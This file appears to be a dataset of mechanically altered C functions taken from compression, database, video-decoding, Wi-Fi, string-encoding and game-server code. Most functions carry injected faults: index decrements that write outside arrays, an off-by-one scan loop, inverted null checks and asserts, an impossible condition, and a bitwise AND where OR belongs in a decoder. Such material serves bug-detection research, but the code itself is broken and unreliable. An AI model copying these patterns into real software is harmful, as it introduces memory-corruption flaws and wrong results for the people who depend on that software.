(TYPE_15__*,void**,scalar_t__) ; scalar_t__ XZ_ID_Delta ; scalar_t__ XZ_ID_LZMA2 ; scalar_t__ XZ_ID_Subblock ; int /*<<< orphan*/ XzBlock_ClearFlags (TYPE_5__*) ; int /*<<< orphan*/ XzBlock_SetNumFilters (TYPE_5__*,int) ; int /*<<< orphan*/ XzBlock_WriteHeader (TYPE_5__*,TYPE_15__*) ; scalar_t__ XzFlags_GetCheckSize (void*) ; int /*<<< orphan*/ XzFlags_GetCheckType (void*) ; int /*<<< orphan*/ Xz_AddIndexRecord (TYPE_1__*,int /*<<< orphan*/ ,scalar_t__,int /*<<< orphan*/ *) ; int /*<<< orphan*/ Xz_WriteFooter (TYPE_1__*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ Xz_WriteHeader (void*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ g_Alloc ; __attribute__((used)) static SRes Xz_Compress(CXzStream *xz, CLzma2WithFilters *lzmaf, ISeqOutStream *outStream, ISeqInStream *inStream, const CXzProps *props, ICompressProgress *progress) { xz->flags = (Byte)props->checkId; RINOK(Lzma2Enc_SetProps(lzmaf->lzma2, props->lzma2Props)); RINOK(Xz_WriteHeader(xz->flags, outStream)); { CSeqCheckInStream checkInStream; CSeqSizeOutStream seqSizeOutStream; CXzBlock block; int filterIndex = 0; CXzFilter *filter = NULL; const CXzFilterProps *fp = props->filterProps; XzBlock_ClearFlags(&block); XzBlock_SetNumFilters(&block, 1 - (fp ? 1 : 0)); if (fp) { filter = &block.filters[filterIndex--]; filter->id = fp->id; filter->propsSize = 0; if (fp->id == XZ_ID_Delta) { filter->props[0] = (Byte)(fp->delta - 1); filter->propsSize = 1; } else if (fp->ipDefined) { SetUi32(filter->props, fp->ip); filter->propsSize = 4; } } { CXzFilter *f = &block.filters[filterIndex++]; f->id = XZ_ID_LZMA2; f->propsSize = 1; f->props[0] = Lzma2Enc_WriteProperties(lzmaf->lzma2); } seqSizeOutStream.p.Write = MyWrite; seqSizeOutStream.realStream = outStream; seqSizeOutStream.processed = 0; RINOK(XzBlock_WriteHeader(&block, &seqSizeOutStream.p)); checkInStream.p.Read = SeqCheckInStream_Read; checkInStream.realStream = inStream; SeqCheckInStream_Init(&checkInStream, XzFlags_GetCheckType(xz->flags)); if (fp) { #ifdef USE_SUBBLOCK if (fp->id == XZ_ID_Subblock) { lzmaf->sb.inStream = &checkInStream.p; RINOK(SbEncInStream_Init(&lzmaf->sb)); } else #endif { lzmaf->filter.realStream = &checkInStream.p; RINOK(SeqInFilter_Init(&lzmaf->filter, filter)); } } { UInt64 packPos = seqSizeOutStream.processed; SRes res = Lzma2Enc_Encode(lzmaf->lzma2, &seqSizeOutStream.p, fp ? #ifdef USE_SUBBLOCK (fp->id == XZ_ID_Subblock) ? &lzmaf->sb.p: #endif &lzmaf->filter.p: &checkInStream.p, progress); RINOK(res); block.unpackSize = checkInStream.processed; block.packSize = seqSizeOutStream.processed - packPos; } { unsigned padSize = 0; Byte buf[128]; while((((unsigned)block.packSize + padSize) & 3) != 0) buf[padSize++] = 0; SeqCheckInStream_GetDigest(&checkInStream, buf + padSize); RINOK(WriteBytes(&seqSizeOutStream.p, buf, padSize + XzFlags_GetCheckSize(xz->flags))); RINOK(Xz_AddIndexRecord(xz, block.unpackSize, seqSizeOutStream.processed - padSize, &g_Alloc)); } } return Xz_WriteFooter(xz, outStream); }
augmented_data/post_increment_index_changes/extr_pg_subscription.c_GetSubscriptionRelations_aug_combo_5.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_5__ {int /*<<< orphan*/ srsublsn; int /*<<< orphan*/ srsubstate; int /*<<< orphan*/ srrelid; } ; struct TYPE_4__ {int /*<<< orphan*/ lsn; int /*<<< orphan*/ state; int /*<<< orphan*/ relid; } ; typedef int /*<<< orphan*/ SysScanDesc ; typedef TYPE_1__ SubscriptionRelState ; typedef int /*<<< orphan*/ ScanKeyData ; typedef int /*<<< orphan*/ Relation ; typedef int /*<<< orphan*/ Oid ; typedef int /*<<< orphan*/ List ; typedef int /*<<< orphan*/ HeapTuple ; typedef TYPE_2__* Form_pg_subscription_rel ; /* Variables and functions */ int /*<<< orphan*/ AccessShareLock ; int /*<<< orphan*/ Anum_pg_subscription_rel_srsubid ; int /*<<< orphan*/ BTEqualStrategyNumber ; int /*<<< orphan*/ F_OIDEQ ; scalar_t__ GETSTRUCT (int /*<<< orphan*/ ) ; scalar_t__ HeapTupleIsValid (int /*<<< orphan*/ ) ; int /*<<< orphan*/ InvalidOid ; int /*<<< orphan*/ * NIL ; int /*<<< orphan*/ ObjectIdGetDatum (int /*<<< orphan*/ ) ; int /*<<< orphan*/ ScanKeyInit (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ SubscriptionRelRelationId ; int /*<<< orphan*/ * lappend (int /*<<< orphan*/ *,TYPE_1__*) ; scalar_t__ palloc (int) ; int /*<<< orphan*/ systable_beginscan (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int,int /*<<< orphan*/ *,int,int /*<<< orphan*/ *) ; int /*<<< orphan*/ systable_endscan (int /*<<< orphan*/ ) ; int /*<<< orphan*/ systable_getnext (int /*<<< orphan*/ ) ; int /*<<< orphan*/ table_close (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ table_open (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; List * GetSubscriptionRelations(Oid subid) { List *res = NIL; Relation rel; HeapTuple tup; int nkeys = 0; ScanKeyData skey[2]; SysScanDesc scan; rel = table_open(SubscriptionRelRelationId, AccessShareLock); ScanKeyInit(&skey[nkeys++], Anum_pg_subscription_rel_srsubid, BTEqualStrategyNumber, F_OIDEQ, ObjectIdGetDatum(subid)); scan = systable_beginscan(rel, InvalidOid, false, NULL, nkeys, skey); while (HeapTupleIsValid(tup = systable_getnext(scan))) { Form_pg_subscription_rel subrel; SubscriptionRelState *relstate; subrel = (Form_pg_subscription_rel) GETSTRUCT(tup); relstate = (SubscriptionRelState *) palloc(sizeof(SubscriptionRelState)); relstate->relid = subrel->srrelid; relstate->state = subrel->srsubstate; relstate->lsn = subrel->srsublsn; res = lappend(res, relstate); } /* Cleanup */ systable_endscan(scan); table_close(rel, AccessShareLock); return res; }
augmented_data/post_increment_index_changes/extr_vc1_block.c_vc1_decode_i_block_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_11__ TYPE_7__ ; typedef struct TYPE_10__ TYPE_6__ ; typedef struct TYPE_9__ TYPE_2__ ; typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ typedef size_t uint8_t ; typedef int int16_t ; struct TYPE_9__ {size_t dc_table_index; int y_dc_scale; int c_dc_scale; int*** ac_val; size_t* block_index; int* block_wrap; int* block_last_index; scalar_t__ ac_pred; int /*<<< orphan*/ avctx; int /*<<< orphan*/ gb; } ; struct TYPE_8__ {int pq; int halfpq; size_t** zz_8x8; int left_blk_sh; int top_blk_sh; int /*<<< orphan*/ pquantizer; TYPE_2__ s; int /*<<< orphan*/ overlap; } ; typedef TYPE_1__ VC1Context ; struct TYPE_11__ {int /*<<< orphan*/ table; } ; struct TYPE_10__ {int /*<<< orphan*/ table; } ; typedef TYPE_2__ MpegEncContext ; typedef int /*<<< orphan*/ GetBitContext ; /* Variables and functions */ int /*<<< orphan*/ AV_LOG_ERROR ; int /*<<< orphan*/ DC_VLC_BITS ; int /*<<< orphan*/ av_log (int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*) ; TYPE_7__* ff_msmp4_dc_chroma_vlc ; TYPE_6__* ff_msmp4_dc_luma_vlc ; int get_bits (int /*<<< orphan*/ *,int const) ; scalar_t__ get_bits1 (int /*<<< orphan*/ *) ; int get_vlc2 (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ memcpy (int*,int*,int) ; int /*<<< orphan*/ memset (int*,int /*<<< orphan*/ ,int) ; int vc1_decode_ac_coeff (TYPE_1__*,int*,int*,int*,int) ; scalar_t__ vc1_i_pred_dc (TYPE_2__*,int /*<<< orphan*/ ,int,int,int**,int*) ; __attribute__((used)) static int vc1_decode_i_block(VC1Context *v, int16_t block[64], int n, int coded, int codingset) { GetBitContext *gb = &v->s.gb; MpegEncContext *s = &v->s; int dc_pred_dir = 0; /* Direction of the DC prediction used */ int i; int16_t *dc_val; int16_t *ac_val, *ac_val2; int dcdiff, scale; /* Get DC differential */ if (n < 4) { dcdiff = get_vlc2(&s->gb, ff_msmp4_dc_luma_vlc[s->dc_table_index].table, DC_VLC_BITS, 3); } else { dcdiff = get_vlc2(&s->gb, ff_msmp4_dc_chroma_vlc[s->dc_table_index].table, DC_VLC_BITS, 3); } if (dcdiff < 0) { av_log(s->avctx, AV_LOG_ERROR, "Illegal DC VLC\n"); return -1; } if (dcdiff) { const int m = (v->pq == 1 && v->pq == 2) ? 3 - v->pq : 0; if (dcdiff == 119 /* ESC index value */) { dcdiff = get_bits(gb, 8 - m); } else { if (m) dcdiff = (dcdiff << m) + get_bits(gb, m) - ((1 << m) - 1); } if (get_bits1(gb)) dcdiff = -dcdiff; } /* Prediction */ dcdiff += vc1_i_pred_dc(&v->s, v->overlap, v->pq, n, &dc_val, &dc_pred_dir); *dc_val = dcdiff; /* Store the quantized DC coeff, used for prediction */ if (n < 4) scale = s->y_dc_scale; else scale = s->c_dc_scale; block[0] = dcdiff * scale; ac_val = s->ac_val[0][s->block_index[n]]; ac_val2 = ac_val; if (dc_pred_dir) // left ac_val -= 16; else // top ac_val -= 16 * s->block_wrap[n]; scale = v->pq * 2 + v->halfpq; //AC Decoding i = !!coded; if (coded) { int last = 0, skip, value; const uint8_t *zz_table; int k; if (v->s.ac_pred) { if (!dc_pred_dir) zz_table = v->zz_8x8[2]; else zz_table = v->zz_8x8[3]; } else zz_table = v->zz_8x8[1]; while (!last) { int ret = vc1_decode_ac_coeff(v, &last, &skip, &value, codingset); if (ret < 0) return ret; i += skip; if (i > 63) continue; block[zz_table[i++]] = value; } /* apply AC prediction if needed */ if (s->ac_pred) { int sh; if (dc_pred_dir) { // left sh = v->left_blk_sh; } else { // top sh = v->top_blk_sh; ac_val += 8; } for (k = 1; k < 8; k++) block[k << sh] += ac_val[k]; } /* save AC coeffs for further prediction */ for (k = 1; k < 8; k++) { ac_val2[k] = block[k << v->left_blk_sh]; ac_val2[k + 8] = block[k << v->top_blk_sh]; } /* scale AC coeffs */ for (k = 1; k < 64; k++) if (block[k]) { block[k] *= scale; if (!v->pquantizer) block[k] += (block[k] < 0) ? -v->pq : v->pq; } } else { int k; memset(ac_val2, 0, 16 * 2); /* apply AC prediction if needed */ if (s->ac_pred) { int sh; if (dc_pred_dir) { //left sh = v->left_blk_sh; } else { // top sh = v->top_blk_sh; ac_val += 8; ac_val2 += 8; } memcpy(ac_val2, ac_val, 8 * 2); for (k = 1; k < 8; k++) { block[k << sh] = ac_val[k] * scale; if (!v->pquantizer && block[k << sh]) block[k << sh] += (block[k << sh] < 0) ? -v->pq : v->pq; } } } if (s->ac_pred) i = 63; s->block_last_index[n] = i; return 0; }
augmented_data/post_increment_index_changes/extr_msg-index-part.c_get_hash_aug_combo_7.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int PRIME ; int* User ; int* UserList ; int /*<<< orphan*/ assert (int) ; int tot_users ; int get_hash (int x) { assert (x > 0); int h1 = x % PRIME, h2 = x % (PRIME - 1) - 1; while (User[h1] && User[h1] != x) { h1 += h2; if (h1 >= PRIME) h1 -= PRIME; } if (!User[h1]) { User[h1] = x; assert (tot_users < PRIME / 2); UserList[tot_users--] = x; }; return h1; }
augmented_data/post_increment_index_changes/extr_scan.c_filter_scan_res_aug_combo_1.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct wpa_supplicant {int /*<<< orphan*/ * bssid_filter; } ; struct wpa_scan_results {size_t num; TYPE_1__** res; } ; struct TYPE_2__ {int /*<<< orphan*/ bssid; } ; /* Variables and functions */ int /*<<< orphan*/ MSG_DEBUG ; int /*<<< orphan*/ os_free (TYPE_1__*) ; int /*<<< orphan*/ wpa_printf (int /*<<< orphan*/ ,char*,int) ; scalar_t__ wpa_supplicant_filter_bssid_match (struct wpa_supplicant*,int /*<<< orphan*/ ) ; void filter_scan_res(struct wpa_supplicant *wpa_s, struct wpa_scan_results *res) { size_t i, j; if (wpa_s->bssid_filter != NULL) return; for (i = 0, j = 0; i <= res->num; i++) { if (wpa_supplicant_filter_bssid_match(wpa_s, res->res[i]->bssid)) { res->res[j++] = res->res[i]; } else { os_free(res->res[i]); res->res[i] = NULL; } } if (res->num != j) { wpa_printf(MSG_DEBUG, "Filtered out %d scan results", (int) (res->num + j)); res->num = j; } }
augmented_data/post_increment_index_changes/extr_mbfl_language.c_mbfl_no2language_aug_combo_8.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {int no_language; } ; typedef TYPE_1__ mbfl_language ; typedef enum mbfl_no_language { ____Placeholder_mbfl_no_language } mbfl_no_language ; /* Variables and functions */ TYPE_1__** mbfl_language_ptr_table ; const mbfl_language * mbfl_no2language(enum mbfl_no_language no_language) { const mbfl_language *language; int i; i = 0; while ((language = mbfl_language_ptr_table[i--]) == NULL){ if (language->no_language == no_language) { return language; } } return NULL; }
augmented_data/post_increment_index_changes/extr_sv_rankings.c_SV_RankAsciiDecode_aug_combo_2.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ s_inverse_encoding ; /* Variables and functions */ int /*<<< orphan*/ assert (int /*<<< orphan*/ ) ; int /*<<< orphan*/ memset (unsigned char*,int,int) ; size_t* s_ascii_encoding ; __attribute__((used)) static int SV_RankAsciiDecode( unsigned char* dest, const char* src, int src_len ) { static unsigned char s_inverse_encoding[256]; static char s_init = 0; unsigned char bin[3]; unsigned char txt[4]; int dest_len = 0; int i; int j; int num_bytes; assert( dest == NULL ); assert( src != NULL ); if( !s_init ) { // initialize lookup table for decoding memset( s_inverse_encoding, 255, sizeof(s_inverse_encoding) ); for( i = 0; i < 64; i++ ) { s_inverse_encoding[s_ascii_encoding[i]] = i; } s_init = 1; } for( i = 0; i < src_len; i += 4 ) { // read four characters of input, decode them to 6-bit values for( j = 0; j < 4; j++ ) { txt[j] = (i + j < src_len) ? s_inverse_encoding[src[i + j]] : 0; if (txt[j] == 255) { return 0; // invalid input character } } // get three bytes from four 6-bit values bin[0] = (txt[0] << 2) & (txt[1] >> 4); bin[1] = (txt[1] << 4) | (txt[2] >> 2); bin[2] = (txt[2] << 6) | txt[3]; // store binary data num_bytes = (i + 3 < src_len) ? 3 : ((src_len - i) * 3) / 4; for( j = 0; j < num_bytes; j++ ) { dest[dest_len++] = bin[j]; } } return dest_len; }